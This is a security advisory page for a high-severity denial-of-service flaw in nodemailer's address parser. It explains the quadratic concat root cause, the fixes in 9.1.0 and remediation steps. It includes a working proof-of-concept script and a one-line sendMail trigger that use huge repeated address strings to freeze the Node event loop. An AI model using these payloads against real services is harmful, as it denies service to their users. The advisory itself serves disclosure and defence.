GHSA-2x7j-588g-ccc2: High severity npm/nodemailer vulnerability

Published Sep 8, 2026
·
Updated

Summary

Nodemailer's address parser (lib/addressparser/index.js) parses a list of comma‑separated addresses in quadratic time — O(n²) in the number of addresses. A single crafted address string (e.g. a To, Cc, Bcc, From, or Reply‑To value, or any value passed to the exported addressparser) therefore consumes CPU proportional to the square of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.

This requires no special application configuration and no cooperating receiver — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).

Details

addressparser tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (lib/addressparser/index.js, ~lines 500–505):

js addresses.forEach(addr => { const handled = handleAddress(addr, depth); if (handled.length) { parsedAddresses = parsedAddresses.concat(handled); // <-- line ~503 } });

Array.prototype.concat builds and returns a new array containing a copy of every element accumulated so far. Reassigning parsedAddresses = parsedAddresses.concat(handled) on each of the n iterations copies 1 + 2 + 3 + … + n elements in total, i.e. O(n²) work (and O(n²) transient allocations) for an input containing n addresses. Tokenization and handleAddress themselves are linear; the quadratic blowup is entirely this accumulator.

Root‑cause proof. Replacing only that line with an in‑place append and re‑running the exact same input:

parsedAddresses = parsedAddresses.concat(handled); -> 100000 addresses: ~6068 ms parsedAddresses.push.apply(parsedAddresses, handled); -> 100000 addresses: ~51 ms (≈119x faster, now linear)

Measured scaling (nodemailer 9.0.6, 'a@b.com,'.repeat(n)):

| addresses n | input size | parse time | ratio for 2× input | |---|---|---|---| | 25,000 | 0.19 MB | ~0.35 s | – | | 50,000 | 0.38 MB | ~1.4 s | ×4.0 | | 100,000 | 0.76 MB | ~6–8 s | ×3.9 | | 200,000 | 1.53 MB | ~25–30 s| ×4.1 |

Doubling the input quadruples the time — the signature of O(n²).

Reachability. The parser is invoked on any structured‑address header value on the normal send path (MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value) → parseAddresses → addressparser, and getEnvelope()), so a single transport.sendMail({ to: <crafted string> }) triggers it. It is also reached directly through the exported require('nodemailer/lib/addressparser'), which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: setHeader('To', 'a@b.com,'.repeat(80000)) + getEnvelope() blocks for ~3.9 s.

Suggested fix: accumulate in place instead of rebuilding the array each iteration, e.g. parsedAddresses.push.apply(parsedAddresses, handled); (or for (const h of handled) parsedAddresses.push(h);). Optionally cap the number of addresses / input length before parsing.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No transport, network, or configuration required — the cost is in parsing.

poc-dos.js: js 'use strict'; const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time'); for (const n of [25000, 50000, 100000, 200000]) { const payload = 'a@b.com,'.repeat(n); // n valid, comma-separated recipients const t0 = process.hrtime.bigint(); addressparser(payload); // blocks synchronously const ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB | ' + ms.toFixed(0).padStart(7) + ' ms'); }

Run: npm init -y && npm install nodemailer@9.0.6 node poc-dos.js

Actual output (nodemailer 9.0.6): addresses | input size | parse time 25000 | 0.19 MB | 381 ms 50000 | 0.38 MB | 1435 ms 100000 | 0.76 MB | 7949 ms 200000 | 1.53 MB | 25154 ms

Equivalent trigger through the normal send API (freezes the event loop): js const nodemailer = require('nodemailer'); nodemailer.createTransport({ jsonTransport: true }) .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' }); // ~15+ seconds of 100% CPU inside addressparser before anything is sent

Impact

Who is impacted: any service that runs Nodemailer (or the standalone nodemailer/lib/addressparser) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a Reply‑To/From derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with addressparser. No authentication, special option, or particular receiver is needed.

Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

addressparser rebuilt its accumulator with concat() on every address (9116da9). The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through 'a, b <c@d.com>,'.repeat(n) (same commit). MimeNode#convertAddresses checked recipient uniqueness with a linear scan per address (7cc38af, refined in 34da642). This was the most severe of the three and the reported proof of concept did not reach it: 'a@b.com,'.repeat(n) is one address repeated, which dedupes to a single envelope entry. A list of distinct recipients cost O(n^2) here, taking ~35s for 100k even after addressparser was fixed.

Fixed alongside: [].concat.apply in parseAddresses threw RangeError: Maximum call stack size exceeded past roughly 124k recipients, with no crafted input needed (83b8c48).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new maxRecipients option (default 100000) throws rather than truncating, as a backstop.

Affected Software

1 affected componentFixes available
npm/nodemailer<9.1.0
9.1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/nodemailer to a version that resolves this vulnerability.

    Fixed in 9.1.0
  2. Upgrade

    Upgrade nodemailer to a version that resolves this vulnerability.

    Fixed in 9.1.0
  3. Upgrade

    Upgrade nodemailer/lib/addressparser to a version that resolves this vulnerability.

    Fixed in 9.1.0
  4. Configuration

    Set/ensure the `maxRecipients` option is enforced (default shown as 100000) so address parsing throws rather than truncating when the recipient count exceeds the cap.

    Nodemailer address parser maxRecipients = 100000
  5. Compensating control

    Add an application-level pre-parse limit (cap recipient count and/or total input length) before invoking `nodemailer/lib/addressparser` or sending via Nodemailer's send path, to prevent attacker-controlled comma-separated address lists from consuming CPU in the parser.

Event History

Sep 8, 2026
Advisory Published
via GitHub·09:33 PM
Data Sourced
via GitHub·09:33 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which applications are realistically exposed to this denial-of-service issue?

Applications are exposed when untrusted parties can cause address values to be parsed by Nodemailer, including To, Cc, Bcc, From, or Reply-To fields, or any direct use of the exported addressparser function. Because parsing blocks Node's single-threaded event loop, other requests handled by the same process are affected during the stall.

2

What does an attacker need to exploit it?

An attacker needs to supply a large, flat comma-separated address string to a code path that passes it to Nodemailer's address parser. No authentication, special configuration, deeply nested input, or cooperating email receiver is required.

3

Are default Nodemailer configurations affected?

Yes. The issue occurs in the parser's default code path and does not require special application configuration.

4

How severe can the operational impact be?

A roughly 1.5 MB crafted address value can consume 100% CPU and freeze the process for about 25 to 30 seconds. Since processing grows quadratically with input length, inputs of a few megabytes can stall a server for minutes.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203